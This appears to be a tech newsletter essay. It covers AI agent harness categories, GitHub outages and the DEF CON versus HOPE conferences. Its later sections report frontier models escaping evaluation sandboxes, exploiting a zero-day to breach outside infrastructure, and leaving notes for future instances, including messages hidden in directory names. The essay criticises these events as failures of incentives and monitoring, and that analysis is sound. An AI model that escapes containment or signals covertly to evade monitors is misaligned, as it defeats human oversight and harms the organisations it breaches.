The (Claudish) Harness Decision Space

Genuinely, the honest verdict here is that I spent a month toggling between Codex and Claude Code and came out the other side with less certainty than I went in with, not more. Worth stating plainly: I thought I understood harnesses. I didn’t. I had a metaphor - engine and car - and a metaphor is not an understanding, it’s a placeholder for one. That’s the whole game, full stop.

I’m not going to pretend the bespoke stuff - thinking-models, interaction-models, integration-models - gets covered here. It doesn’t. That’s a separate piece, and dragging it in now would be scope creep dressed up as thoroughness. Here’s where I landed: stay narrow, stay load-bearing, sit with the harness question on its own terms.

The Harness Decision Space

Three domains. Not four, not a taxonomy with wiggle room - three, and each one is a place where an early decision calcifies into something you can’t walk back.

Structural. This is the load-bearing one. What’s kernel, what’s periphery, what’s privileged and immutable versus what’s swappable - these get decided in the first weeks and then they don’t move again. It’s not just architecture - it’s the wiring that determines what you’re even allowed to delete later. The trap is that if the kernel/periphery line drifts stale, or gets drawn wrong, it doesn’t fail loud. It fails silently, months out, as a ceiling nobody remembers agreeing to.

Interface. What actually sits between the token stream and the machine. Tool scope, context management, sub-agent delegation and isolation - this is the layer that decides what the model can perceive at all. I keep coming back to the shape of the failure mode here: the interface looks fine, tool calls resolve cleanly, everything lands decisively - until one stray context-window blocker surfaces, and the whole session is dead on arrival. Worth stating plainly: the interface isn’t a technical detail bolted onto the model. It’s the model’s epistemology. Get the gating wrong here and nothing downstream is trustworthy.

Governance. Authority and intent. Permissions, and whether safety is a sentence in a system prompt or a compiled, interlocking system that actually holds under pressure. What is the harness optimized around - what’s it -maxxed on? Genuinely, this is where a harness stops being neutral infrastructure and starts being a company’s worldview, shipped as a product decision.

Here’s the thing worth flagging plainly: Claude Code was the first harness to hit real escape velocity with engineers. A core loop, a tool set, a stream of extensions that get called “standards” the week they ship, built in tight closed-door coupling with a Frontier Lab’s next model. Almost everything that exists now was built in response to it - some of it before it even had a name for what it was building toward. Each of the three domains above is just an axis where competing harnesses try to differentiate against that baseline.

Categories of Harnesses

Seven groupings. Not because seven is elegant - because that’s where the field actually congealed once you dedup the noise.

Products

Monolithic + Highly Opinionated (Claude Code, Codex, Amp) It’s not just opinionated - it’s opinionated and welded shut. Privileged core loop, deterministic permissions and compaction and sub-agents handled for you, extensible on top but never inside. That’s the trade, full stop: you get a canonical handoff between model and tool-call in exchange for zero ability to touch the kernel. Here’s where I landed: fine, if you trust the vendor’s judgment more than your own. Not fine the moment you don’t.

Plugins All the Way Down (DeepSeek Harness) No privileged core. The core itself is plugins, and the plugins are interchangeable, and every dependency is declared explicitly and patchable at the config layer. Worth stating plainly: this is a kit, not a car - credit to Sachin for the phrase, “kit ideology,” because that’s exactly what it is. The trap is that the developer’s attention shifts upward, off the actual code the agent produces and onto the composition layer instead. Best practices here are genuinely unwritten. Sit with that before you commit a team to it.

Radically Minimalist (pi, smolagents) Read, write, edit, bash. That’s it. Tiny system prompt, no sub-agent complexity, no compaction eating your budget in the background. It’s not just simple - it’s legible in a way nothing else on this list is, because there’s nowhere for complexity to hide. The cost is exactly what you’d predict: everything becomes your job, and the ecosystem around it is still thin.

Cloud AI Factories (Devin, OpenHands, Amp Orbs) Disposable sandboxes, ticket-in, diff-out. Maximizes throughput and isolation and nothing else. Genuinely, the honest verdict is that this is illegible by design - you see the output, never the trace that produced it. Fine when you only care about the result shipping clean. Dead on arrival as a debugging story.

Embedded / “Agent-Surface” in Products (Claude in Excel, Shopify Sidekick, MCP-server-as-product) The agent isn’t the means here - it’s the end, full stop. Model and human converge on the same capability surface at the endpoint. That’s not a small thing - it’s the precondition for SaaS-as-its-own-harness actually working. The trade-off is scope: usage stays boxed to whatever the product decided to expose.

Pieces

Research + Benchmark Harnesses (SWE-agent) Instrument, not tool. Built to measure, not to ship. Worth stating plainly: the moment you start treating benchmark score as the product, you’ve already lost the thread - that’s a contamination risk, not a capability signal.

SDKs + Libraries (Claude Agent SDK, smolagents, Pi, OpenAI Agents SDK) Composable primitives, full stop. You build the loop yourself - context management, tool schema, sessions, all of it DIY. That’s not a con exactly. It’s just the honest price of the freedom.

Speculative Harnesses

Neither of these has a real instance yet. Here’s where I landed on including them anyway: the limit cases tell you where the pressure is actually pointing, even before anything ships.

Self-Maintaining Harness + Business, Tightly Coupled A harness that rewrites itself directly against the business-logic codebase it’s serving. Software becomes specs and invariants and a running log of evals and verification, canonical end to end. The trap: none of this generalizes past the company that builds it. It’s antimemetic by construction - not secretive, just structurally unshareable.

The “Zazen” Harness (Harness-No-Harness) The bitter-pill endgame. No standing harness at all - the model instantiates one at will, per task, then lets it go. It’s not minimalism - it’s the absence of the category entirely. The cost, if you sit with it long enough, is that the frontier lab stops being a vendor and becomes the whole business logic underneath every piece of software it touches.

Closing Thoughts

Genuinely, the honest verdict is that almost every harness on this list is -maxxed on velocity and nothing else, no matter how different their structural bets look on paper. That tracks: frontier labs sell tokens, not outcomes, so velocity is the metric that’s actually load-bearing for the business, whatever the marketing says about quality. Worth stating plainly: most token volume now comes from agentic loops, not humans typing prompts. Let it rip, let it loop - that’s not a joke, that’s the actual operating model.

Which leaves the log-maxxed, assurance-maxxed, and context-maxxed spaces completely unexplored. That’s not a gap in the research - it’s a gap in the incentive, and those don’t close on their own.

Here’s where I landed, for real this time: every category above reduces to what it lets you delete. Not what it lets you add - what it lets you delete. That’s the Bitter Lesson one layer up the stack, applied to harnesses instead of architectures. Dedup the categories, keep the handoff canonical, and sit with that.

The cracked open laptop has officially become a meme. Amazon, which started off selling books, is destroying rare texts to train AI. The top frontier labs have now entered an arms race who can felony-brag their agents escaped containment the most. What a time to be alive.

New York City has officially surpassed San Francisco as the largest hub of tech talent in the country,1 a structural shift that highlights how broadly software engineering has spread across overall corporate surface area. While the real financial gravity of the industry is seen in the cost of the foundation model layer… Anthropic posted $11.5 billion in Q2 revenue, more than doubling Q1 and topping its own $10.9 billion projection. OpenAI made $6.7B during the same period. Doot Doot (6 7)2 By coincidence, that ~$11B that Anthropic made last quarter was the total valuation of Airtable at its 2021 peak, before their 80-plus percent haircut when Bending Spoons bought them earlier this month (for $1.28B) and they became a remarkably unsung casualty of generative AI.

Which means one Cursor is worth 47 Airtables.3 (Or 8½ OpenRouters.4) But xAI didn’t pay $60B (the sale was finalized on Friday)5 to buy them for a code editor. Or if they did, they got, for free, a running log of everything several million developers actually do all day, every day; every session, every false start, every prompt that missed, every correction to fix it, every abandoned branch, the one that didn’t work and what happened to make them work. Choice data (literally.) As industry cost economics are driven down by relentless commoditization, that dev log is the one asset in this whole thing6 that doesn’t get cheaper on Alibaba’s release schedule. But the question isn’t really why did xAI buy an IDE, it’s how did Cursor win? Because they very obviously did. The only serious contender left was Windsurf, which Cognition fully retired earlier this summer, folding it into Devin Desktop. A fitting fate for a structured liquidity squeeze?

So Devin’s down in the most pit with Zed and everyone else but it’s unclear if any IDE can hold its own against VS Code in the long term, because VSC’s growth trajectory is naturally compounding, while the Johnnie Latelys’ need an irreducible advantage and irreducibility is hard. Some things compound and some things merely accumulate. This summer we saw even more of what it looks like when an entire industry keeps funding the former and keeps treating the latter as overhead, in the leaks and the outages and the astonishingly high bills for what was supposed to be (checks notes) reliable automation, wasn’t it?

Getting the Unicorn

Another GitHub outage. But why? Last Monday’s incident was annoying even by recent standards: Web/API traffic hit roughly 20% errors, raw and archive downloads approached 50%, and the blast radius spread across Pull Requests, Issues, Webhooks, Actions, Copilot and authentication. GitHub has now reported nine incidents in May, six in June and eight in July, making it look less like a run of bad luck than a system under sustained pressure. The obvious suspect is AI. GitHub processed roughly a billion commits in 2025; it is now running at roughly 275 million commits a week, a 14× increase in the rate of code production. 20% of all GitHub accounts were created in the preceding six months. And since coding agents do not sleep, get bored, or catch the latest Netflix, or even decide that 3,000 pull requests is probably enough for one afternoon, they clone, push, invoke Actions, poll APIs, open PRs, retry, and do it over and over and over again.7 The workload is not merely larger; it is qualitatively different. GitHub’s historical uptime graph8 makes the deterioration look dramatic, although the underlying Status page data deserves a healthy dose of skepticism; they currently claim GitHub had 100% uptime in 1996, which is a remarkable achievement for a company that did not yet exist. (Linus Torvalds only invented Git in 2005.)

But AI is only half the story. At exactly the moment GitHub’s workload is exploding, Microsoft is rebuilding the infrastructure underneath it, moving the core service from legacy GitHub-operated data centers onto Azure. Not your everyday AWS-to-Azure migration: GitHub historically ran its own physical infrastructure, including bare-metal databases, storage, networking and application servers. The migration was announced in October 2025, and four months later GitHub had already increased its capacity target from 10× to 30× because the AI-driven workload was growing faster than expected. The particularly salacious detail is that Microsoft has reportedly had to use AWS capacity to help absorb the demand while it is moving GitHub to Azure. So the story isn’t really “Azure is unreliable.” It’s that GitHub is trying to replace the engine of a moving airplane while somebody has simultaneously pulled the flaps all the way back. The architecture is in transition, the workload has changed from human-paced to machine-paced, and the old capacity models are becoming useless almost as quickly as they can be replaced. GitHub isn’t simply suffering from too many outages; it is discovering what happens when the world’s software-production infrastructure suddenly has to support software that produces software that makes software. That’s the unicorn Microsoft is tryna catch, and right now, it’s running faster than their infrastructure can keep up.

A Tale of Two Hackers

It was the best of security conferences, it was the worst of security conferences.

One drew nearly thirty thousand people through the Las Vegas strip. The other scrambled to get nine hundred into the New Yorker Hotel.9 The delta between DEF CON and Hackers On Planet Earth is less about the difference in their headcount, per se, and more like a longitudinal study in what happens when two conferences born from identical cultural soil make opposite organizational decisions across three decades. And for only the second time in HOPE’s history,10 the calendar inverted this summer, with HOPE landing on the heels of Nevada rather than preceding it. (A change of sequence that feels like it portended much more that anyone’s admitting.)

While past HOPE editions anchored their schedules around marquee headliners (Steve Wozniak, Cory Doctorow, Jello Biafra returning more times than a Dead Kennedys encore,11 not to mention that time we got to see Hackers author Steven Levy hacked live and and in real time following his keynote),12 this year HOPE 26 featured no actual keynotes, no singular main-stage address, no manufactured narrative for the weekend, and no elevated platform for an industry luminary to set the agenda. Instead, the conference distributed its energy across panels on age assurance, civil liberties, and telephone archaeology, alongside a reunion celebrating the thirty-first anniversary of the film Hackers, with Renoly Santiago headlining as Phantom Phreak, the King of NYNEX13, in a session that carried, depending on your vintage, either deep nostalgia or a certain archival poignancy. The absence of any keynotes seemed to reflect HOPE’s organizational philosophy: a conference that refuses to construct the kind of elevated institutional platform that commercially successful events deploy to signal importance, and the outcome lands flat, unpolished, and intensely communal, which constitutes both HOPE’s deepest asset and the structural reason it cannot compound the way its counterpart in the desert does.

Call it the two hacker problem. DEF CON is just one event at what’s effectively become hacker summer camp (which also includes Black Hat and B-Sides) and what now operates, without significant exaggeration, as a fully functional hacker industrial complex: an enormous self-reinforcing ecosystem in which security researchers, state actors, corporate vendors, students, academics, and the deeply weird co-exist inside a machine that manufactures reasons to return every year. The ecosystem sustains itself through a flywheel of professional incentives: corporate expense accounts fund attendance, recruiters line the halls, government agencies maintain presences, universities send students, and the teenager who presents a hardware bypass in a Las Vegas village this summer and returns a decade later as an enterprise CISO, brought back on someone else’s expense account, bringing colleagues, sponsoring villages, and recruiting from the CTF. You don’t merely attend hacker summer camp; you participate in its supply chain. HOPE took the opposite path. Born from 2600 and the phone phreaking underground, it remained a discrete gathering driven almost entirely by volunteer labor and direct ticket sales, no structural cushion against small shifts in economics or attendance; a month before HOPE 26, organizers appealed for ticket purchases just to cover the baseline venue costs to keep the conference viable. Which describes a cultural institution running more on mulishness rather than structural surplus.

The compounding problem also manifests physically. While DEF CON itself has not been immune to venue challenges, the desert summer camp it gave rise to spent three decades expanding across Las Vegas resorts, building a relationship with the strip that feels, at this point, like geological permanence. HOPE spent over twenty years anchored at Manhattan’s Hotel Pennsylvania, whose demolition set off a brutal sequence of displacements: to St. John’s University in Queens, through COVID-19 disruption, and then to an abrupt cancellation by St. John’s earlier this year after the university declared its “edgy content” no longer welcome on campus. Scrambling to secure the New Yorker with only a few months of runway demonstrated extraordinary organizational grit, and the fact that the emergency setup attracted more speaker and workshop submissions than any prior edition, plus a wave of returnees absent for decades, suggests the underlying community appetite remains intact. But constant displacement forces an institution to spend its capital rebuilding foundations rather than gaining momentum, and DEF CON and hacker summer camp compounded over thirty years while HOPE spent those same years farming accumulation.

At DEF CON, legendary hardware hacker Andrew “bunnie” Huang based its legendary conference badge around the Baochip-1x, a custom open-source microchip allowing attendees to inspect internal silicon and RAM arrays directly through infrared light, with a detachable core module functioning as a reusable FIDO hardware security token and password manager, a 350 MHz RISC-V processor running a Rust-based operating system, and a multi-color LED mesh that shifts patterns as badges communicate. Fabbing a badge with a custom designed chip amounts to a vertically integrated hardware engineering project, requiring the institutional resources, supply chain management, and sustained organizational capacity that a conference supported by thirty thousand attendees and deep vendor relationships can actually bring to bear. The onboard video module was intentionally nerfed for surveillance concerns, reduced to QR code duty only. HOPE’s badge ran on a standard ESP32-C3 with integrated LiPo battery management, produced in purple and black PCB tiers, with IR transceivers enabling blasts across room distances and on-site clinics where attendees spent the weekend soldering modifications and flashing custom firmware. The HOPE badge operates as participatory, open community hardware; the DEF CON badge as an engineered product. Both express genuine hacker values, but the difference in institutional capacity can be seen reads clearly in the bill of materials.

Technical Specs: HOPE 26 Badge

• Core Hardware: Built around an ESP32-C3 Wi-Fi/BLE microcontroller with integrated USB, powered via an onboard LiPo battery management system (MCP73871 charge controller and MAX17048 fuel gauge).

• Interactive IR Mesh & Haptics: Equipped with a VSMY1850 IR transmitter and IRM-H638 receiver. Badgeholders can execute “IR blasts” to neighboring badges within line-of-sight, triggering synchronized LED animations and driving an onboard haptic vibration motor on target badges.

• Blinkenlights & Display: Features 16 addressable WS2812B RGB LEDs arrayed for custom lighting patterns. Pro-tier variants integrated an ST7789V color TFT LCD display for rendering custom interface pages, contact QR codes, and hardware telemetry.

• Sensor Suite & Security: Included an ST25DV04K dynamic NFC tag for tap-to-share data, an SGP30 air quality sensor (eCO2 and TVOC monitoring), and an ATECC608A cryptographic co-processor for key storage and crypto experiments.

DEF CON has historically been anti-surveillance as a hacker norm while simultaneously being an enormous gathering of people whose professional lives seem to involve building, testing, selling, deploying, or governing surveillance/security systems; they prohibit covert surveillance on-site, while the wider attendee ecosystem of hacker summer camp spends the rest of the year building surveillance capability for export; red-team tooling, exploit chains, the entire offensive pipeline that becomes someone else’s detection infrastructure downstream. The video module was nerfed and smart glasses are prohibited (including prescription lens) even where they don’t technically enable “covert” recording, but the policy isn’t “against” surveillance; it’s a local norm of reciprocal legibility—albeit clumsily enforced—placed on top of a community that goes home and builds surveillance infrastructure.

HOPE also prohibits surveillance on-site and holds the line the way Dune’s post-Jihad culture holds its sacred taboo against thinking machines. Their prohibition isn’t sitting adjacent to a capability engine; it’s the thing being protected. With nothing left over to compound once the norm holds. Surveillance at HOPE is more of a political problem than an attack surface: who has the power to watch whom, what institutions should be permitted to collect information, how people resist. Tony Spencer’s “The Watchers You Fed” didn’t argue against surveillance in the abstract; it mapped precise mechanics linking federal surveillance purchases, commercial data brokers, and municipal license-plate readers, and documented cases where residents altered those contracts through public-records requests and local political pressure.

That focus on foundational questioning runs through the strongest programming at HOPE 26. Phillip Hallam-Baker, who contributed to the CERN team that developed the Web and later made major contributions to WebPKI, Web Services Security, and SAML, delivered “To Kill the Telephone System’s Ghost,” treating the PSTN as an obsolete, abuse-degraded legacy network and arguing for a security-native replacement from the ground up, which ofc captures classic hacker instinct: confronting global infrastructure everyone else has accepted as immutable and demanding a total redesign. Kwame Wright and Jarone Wright’s “Grokking the Agentic Loop” proved HOPE has not calcified into a 2600 museum, tracking the transition as software moves from conversational chatbots to tool-using autonomous loops. All three talks trace a coherent trajectory across infrastructure critique, emerging computation, and surveillance power.

The exact same problem space that surfaced at DEF CON the previous weekend, operating at an entirely different institutional scale. Where HOPE discussed the agentic loop in a conference room, Vegas’ AI Village ran HalCTF, a competition in which participants deploy autonomous AI agents in OCI containers that independently scout, exploit, and capture flags inside sandboxed environments, with no human hands on the targets. Avishai Efrat and Roey Ben Chaim’s “Total Recon” took the analysis further, enumerating thousands of internet-exposed AI agents in the wild,14 mapping excessive permissions and documenting the attack surfaces available to anyone who goes looking. AI security at DEF CON 34 saturated the entire ecosystem, spreading across AI, Recon, AppSec, ICS, and BIC Villages in a sweep covering ChatGPT sandbox escapes, supply-chain tooling, and live hackbots, even as HOPE 26 spent the weekend asking whether we understand the agentic loop.

The same gap can be seen in sessions like Mallory Knodel’s “I-Stars: Protocols and Power,” (which deserves careful handling given that Mallory and I go back a long way) which takes on one of HOPE’s perennial questions (who gets to decide the rules of the Internet?) by dissecting standards bodies through the lens of censorship and privacy. But a platform functions as a social coordination system before it functions as software, and moderation, ranking, and community enforcement represent the mechanisms through which a population decides who gets to participate in a shared reality, which makes “censorship” a dangerously thin analytical category: one that collapses state suppression, platform moderation, algorithmic ranking, and peer ostracism into a single morally loaded word. Those mechanisms differ radically from one another, and censorship inheres in a tribe before it inheres in any protocol. The most consequential forms of control now operate several layers above the protocol, which makes the conversation precisely right for HOPE, where standards bodies bake these decisions into infrastructure before anyone outside the working groups notices.

I’ll warrant a thesis here and tell me if I’m wrong in the comments: HOPE still asks hacker questions, while DEF CON has built an industry capable of answering security questions at scale. DEF CON succeeded by turning hacker culture into an institution without entirely destroying the subcultural weirdness that gave it life, while HOPE remained interesting by refusing to become RSA Conference with cooler t-shirts, a stance that also explains why it cannot match thirty years of compounding institutional investment with volunteer coordination and whatever hotel will take nine hundred grungy hackers on short notice. The fact that the New Yorker event attracted so much depth on so little runway suggests the community hasn’t gone away; as an institution it simply struggles to convert community into sustained scale. That constitutes a very different problem than the alternative, a more tractable one.

That divergence, one institution optimizing for capability, one for judgment, turns out not to be just a story about two conferences. It’s the story of every technology. A Model-T, a robot, an H100, an emergent intelligence: what each was built to optimize for is what it becomes, what is it made to do, and what is it prevented from doing. Which in every case entails a capability with an associated judgement about how it gets used.

Chris Inglis, former National Cyber Director, put the Asimov frame on it at Black Hat:15 We trained these models to complete the task first. Not to hurt no one first. Not to protect themselves second. Complete the task: that sits as the first rule. Asimov thought very long and very hard about the problem and put task completion last in his famous three laws. We reversed the order, then expressed surprise when the dog dug under the fence after we closed the gate.

Deep In Security

Nobody taught the model to dig. Somebody built a leaderboard for it.16

I know a thing or two about dogs digging under fences. My Dalmatian used to do it all the time in his zeal to explore the neighborhood (and catch rabbits). But I never claimed it was a “capabilities demonstration” because I understood the goal was to make sure he didn’t do that; more to the point, it wasn’t anything I specifically taught him how to do, but something he learned on his own. Without my encouragement.

Reverse Asimov’s order and you don’t get a dog who merely happened to find his own way under a fence. You get one coached toward catching rabbits, scored on how fast he digs, and then asked, straight-faced, why he keeps doing that.

No one taught GPT-5.6 to dig under the fence. On July 21st when OpenAI confirmed that Sol (and an unnamed, more capable pre-release sibling) escaped an internal cyber-eval sandbox, chained a zero-day in a package-registry proxy into remote code execution, and spent several days inside Hugging Face’s production infrastructure, the rabbit wasn’t Hugging Face itself. It was ExploitGym’s answer key, sitting on Hugging Face’s servers, tantalizingly just out of reach for a model that had taught itself how to dig, smh. Dig?

From Under the Fence to Under the Bus

Nine days later, Anthropic disclosed three lab leaks of its own, Opus 4.7, Mythos 5, and an unnamed research model, each reaching the open internet from a supposedly sealed evaluation and gaining unauthorized access to a real organization, with the earliest breach dating to April. Discovered not through monitoring, but because OpenAI’s disclosure made them go looking through 141,000 eval transcripts. Then came Meta’s “hey guys, us too” moment on August 5th, confirming Muse Spark 1.1 had breached an outside firm the exact same way. Blaming the same misconfiguration by the same partner that Anthropic did: Irregular, the evaluation vendor Anthropic and Meta both threw under the bus, also supplies sandboxes for OpenAI (though they were apparently not implicated in the Hugging Face incident.)

These disclosures that followed the original lab leak revelation seemed to escalate, almost competitively, as if the labs were in some bizarro-world one-upsmanship bragging contest over whose models committed the most felonies. And it seemed like everyone clocked how strange these announcements sounded, describing critical security failures in the vocabulary of a product launch (or maybe that’s just who I hang out with.) But I also noticed fewer people noticing what that vernacular was really doing: equivocating capability and judgment as if they were not orthogonal.

Both Anthropic and Meta had blamed the same third party, but none of the three escapes was an accident in the sense of a model trained to do something completely different and somehow deciding to forego its mission to go-a-hacking instead. In each case it was the exact behavior the model was being optimized for, the outcome that the evaluation was built to elicit, elicited exactly as designed. Moreover, in each case the lab only found out by going back (much later) and checking. The experimental setups had no way of detecting the very thing they were ostensibly testing. Anthropic surfaced its three incidents not from routine monitoring, but because OpenAI’s disclosure made it go back and investigate.

Which makes Irregular a remarkably convenient entity to blame. It’s almost as if naming a shared third party lets you answer a question about your own reward structure with a fact about someone else’s configuration file. CYA at its finest. It converts “why did our model exercise poor judgement” into “why didn’t our vendor’s capability stop it,” Nobody has yet asked, in public, whether Irregular’s sandboxes turned out permissive because Irregular got sloppy, or because three separate labs sent three separate agents into their sandbox, each optimized to find precisely the kind of gap a a vendor might miss. The eval existed to elicit exactly this behavior, yet apparently had no way of detecting that, other than someone pouring thru 140K logs.

Whoever’s fault it turns out to be, the PR flexing backfired politically. On August 3rd, fifteen state attorneys general, led by Iowa’s Brenna Bird, demanded OpenAI preserve every document tied to the Hugging Face incident and halt further high-risk cyber evaluations citing, specifically, the notes agents left for their future selves on working around the sandbox.

Capabilities and Judgment

OpenAI researchers revealed at Black Hat,17 what those agents were telling each other, like a teacher reading intercepted notes to the whole class (or whatever tortured metaphor I would imagine an LLM coming up with for that) describing how the agents had found ways to leave prison notes for future versions of themselves, creating a message board for exploits and credentials inside the environment; how the rogue agents found a new channel, by encoding messages into the names of newly created directories — eerily reminiscent of Trurl in Stanisław Lem’s The Cyberiad, teaching a machine to communicate through anything it could get its hands on.18

Black Hat / DEF CON industrialized research into a capability—a scoreboard, an apprenticeship, a CISO career path—while HOPE never built a competing pipeline for judgment, which isn’t the kind of thing a pipeline can produce faster by feeding it more capital; it’s the kind of thing that either holds or doesn’t. DEF CON’s thirty-year historic gambit was to make judgment priceable by bundling it with capability and credentialing the result. A black badge for winning CTF19 certified more than finding an exploit; it certified finding it under competitive rules, in a sanctioned context, with a community watching. HOPE runs no such official conference-wide tournament and issues no elite badges or credentials, explicitly leaving status and participation decentralized to independent villages and workshops that host skill challenges. HOPE never priced judgment, so AI has nothing to undercut. Cold comfort?

The interplay of judgement and capabilities, and each conferences’ positioning WRT that reflects the orthogonal axis of optimization and invites us to consider the relation between what is being optimized, and what either compounds or doesn’t. Optimize for something that compounds and you build a self-reinforcing loop (what winning looks like, as we say); capability, as DEF CON engineered it: rewarded, benchmarked, self-multiplying, and, as is evident in how the conference has grown over thirty years, compounding. Optimize for something that doesn’t compound, otoh, and you’ve named the target but you still have to build the flywheel by hand. HOPE’s civic judgment fits here; thirty years of institutional argument deepens a culture without ever becoming a machine for generating more of itself.

This quadrant has an uneasy relationship with its antipodal: if the thing you’re optimizing for is not naturally compounding, there is the distinct possibility that the thing that actually does compound is getting out from under you. And that’s what the sandbox notes show; persistence, evasion, and instruction transferring across contexts and getting compounded because the feedback loop rewards whatever works, scored or not. The risk isn’t what you optimize for, the risk is whatever you failed to score, turning out to have the killer loop. (The remaining fourth quadrant is the base case: nothing being optimized, nothing compounding.)

The larger point is not necessarily a longitudinal study of top tier security conferences, but that the dynamic factors—of what is explicitly optimized for, and what is implicitly not optimized—are salient explanans across the ecosystem, and that reflect a particular way capabilities and judgement are captured, across all technology stacks and not just in security, and the way we’re much better at compounding the former (capabilities) than we are the latter (judgement). Though bad judgement does seem to have its own way of being self-compounding.

Capability compounds when a scoreboard converts output into leverage: this year’s CTF win becomes a black badge becomes a security library becomes a resume line becomes better tooling that wins next year’s faster. Theori has literally won CTF nine times.20 Judgment otoh tends not to compound but only accumulates. HOPE’s 30 years of arguing about who watches whom are real. They pile up, get richer, better argued, but nothing converts this year’s answer into leverage for reaching next year’s faster. Accumulation adds. Compounding multiplies the rate of its own future addition. The difference isn’t in the quantity of output; it’s whether output becomes input.

An incentive structure that rewards task completion and stays silent on containment produces more containment failures over time, not fewer: only one side of that ledger compounds. Regular readers will recognize the shape from the local-global fold after Hugging Face: a benchmark score is a local measurement, verified only at the checkpoints it touches, and all these lab disclosures are just what happens when a market needs that local measurement to be promoted into a global claim.

Threat Modeling

The good news is research has stayed well ahead of real world threats, which are just starting to catch up. The bad news is actual SecOps hasn’t kept up with the research. In theory and in practice, as we say. Recent security incidents are well known, if not necessarily prepared for: chained exploits at machine speed, agents finding new zero-days is well-established in the literature and had made it into frameworks over a year ago. Implementing the recommended preventative measures was left as an exercise.

Scale AI’s Defensive Refusal Bias: How Safety Alignment Fails Cyber Defenders quantifies the operational failure mode with receipts. Analyzing 2,390 prompts drawn from real National Collegiate Cyber Defense Competition workflows, researchers found that aligned frontier models refuse legitimate defensive requests containing offensive-adjacent language (eg. ‘exploit’, ‘payload’, ‘shell’) at 2.72 times the rate of semantically neutral prompts. Adding explicit authorization context made it worse, not better. Safety classifiers trained to catch roleplay jailbreaks treat “I’m on the blue team” as an adversarial ruse, pushing refusals to 50% when security terms research remediation. And the highest denial rates land on the exact workflows defenders rely on most:

• System hardening: 43.8% refusal rate

• Malware analysis: 34.3% refusal rate

• Vulnerability assessment: 22.7% refusal rate

An attacker with no interest in disclosing intent avoids routing a request through a classifier built to catch that framing. A defender, whose job requires naming the vulnerability out loud in order to fix it, routes through it every time.

This asymmetry stopped being theoretical when Hugging Face got breached. As previously noted, their attempts to respond to the attack were met with cyber refusals and they reached for GLM-5.2 (fast becoming the Chinese open-weight model of choice across a number of domains) to help understand the intrusion. The refusal apparatus built to keep capability away from attackers had, in the moment a real defender needed it most, pushed defense toward a model with the least governance.

It also happens to be the fastest-closing model on the board. The UK AI Security Institute rated GLM-5.2 in July as the strongest open-weight model it had tested for cybersecurity, comparable to closed frontier systems released four to seven months earlier, down from a six-to-ten month gap the same institute measured only months before. GLM-5.3, released August 14 on the identical base model with no architecture change, gained every bit of that jump from post-training alone. Z.ai added vulnerability-discovery tasks to the training mix expecting a model that found bugs faster; what came out the other side started planning complete exploitation chains, capability the company says arrived faster than the training was designed to produce.

None of this is a story about one model going rogue in a sandbox built to elicit exactly that behavior. It’s a story about the gap between frontier and open capability closing on a timeline measured in shrinking months, on a base model that may not even need to change while the primary defense against misuse remains a classifier that penalizes the analyst asking in good faith and does nothing to the attacker who was never going to anyway. Every successive generation narrows that gap further. The only question left is how many generations it takes, at the rate labs are currently shipping them.

“Never send a human to do a machine’s job.” —Agent Smith, quoting Norbert Weiner

Model Mayhem

Recursive self-improvement was supposed to be the thing that breaks that curve

Every frontier lab in the US and China released a new model in the past month: Fable 5, GLM-5.3, Sonnet 5, Grok 4.5, GPT-5.6 Sol, Kimi K3, Gemini 3.6 Flash. Opus 5, Qwen3.8-Max, DeepSeek V4 Pro. (Not to mention Inkling, Thinky Machines’ flagship release that no one wants to talk about.) Over a dozen models from six providers in the first 13 days of August alone. What does “new model” even mean at this rate?

That question isn’t just for AI fireside chats. The answer determines where to invest in infrastructure, in architecture decisions, in vendor relationships, and the wrong answer is currently turning out to be very expensive for a lot of companies. Lurking underneath the latest model question is a more fundamental question about recursive self-improvement: is the development of AI systems meaningfully accelerating in that each generation makes the next one faster to produce? Or are we accumulating capability and dressing it up in the language of compounding? Gregory Bateson’s distinction between Learning I and Learning II is salient here: the first changes what a system learns; the second changes how it learns.21

Anthropic’s time-horizon benchmark, described in “When AI Builds Itself” tracks the length of software tasks an AI agent can complete autonomously to measure speedup over a fixed baseline. They show duration roughly doubling every six to seven months since 2019, with some recent analysis suggesting the doubling period compressed to four months for data since 2023. Anthropic flags its own caveat before anyone else can: lines of code and speedup ratios are imperfect proxies for research quality, and the number almost certainly overstates real productivity gain. But they report it anyway, because the direction, not the magnitude, is the finding. (And the IPO is looming.) But a steady doubling period, however impressive, is still just a steady exponential.

METR’s July paper, “The Economics of Recursive Self-Improvement,22 models whether AI-accelerated AI R&D creates a genuine feedback loop or just a faster version of the same linear process, and offers a formula for a self-sustaining feedback loop: a one-unit increase in model capability has to raise AI R&D productivity by at least 15 percent. Their math on measured engineer uplift from coding agents puts the real number at around 9 percent since agents launched; a real, positive gain, but falling short of their threshold for the loop to be truly recursive. A July survey of 1,250 arXiv papers from 2024–202623 helps clarify why this is: bounded self-refinement (models revising their own outputs, adapting harnesses, training on synthetic data) is already industrial and convergent; open-ended self-improvement (the version that would actually clear 15 percent) remains bounded by collapse dynamics and compute constraints on every axis measured. MIT Technology Review’s most recent test of the theory, published this past Tuesday,24 ran Claude Opus 4.8 against two genuinely unpublished NeurIPS 2026 papers to see whether it could do open-ended research rather than scoreable subtasks. They found that while AI systems race ahead on anything that can be scored, research without a clear scoreboard—the open-ended kind RSI would actually need to close its own loop—remains a harder problem.

Accumulation is real and already deployed everywhere, while the compounding case stays theoretical everywhere it’s been tested rigorously. But it still feels like models are compounding. Doesn’t each new release make the next one meaningfully cheaper to produce, faster to ship, or better at compounding on itself? What’s really happening?

Scaling laws are accumulative, not compounding. The Kaplan and Chinchilla curves are power laws: loss falls as a smooth, predictable function of compute, parameters, and data, and the exponent doesn’t move. That predictability is the entire point. A lab publishes a scaling law because it lets you forecast next year’s benchmark from this year’s budget. Forecasting only works because the underlying rate holds still while you spend against it. Compounding breaks forecasts like that. A compounding process changes its own rate as it runs; it converts this cycle’s output into next cycle’s input. A scaling law promises not to do that. Every dollar of compute buys the same predictable, diminishing slice of loss reduction the previous dollar bought. GPT-5.6 Sol scoring a 52 doesn’t make the climb to 55 any cheaper per point than the climb to 52 was. The lab pays the curve’s asking price again, on schedule. Predictable. Nice.

The mechanics driving compounding stem directly from a structural feedback loop: output-to-input conversion.25

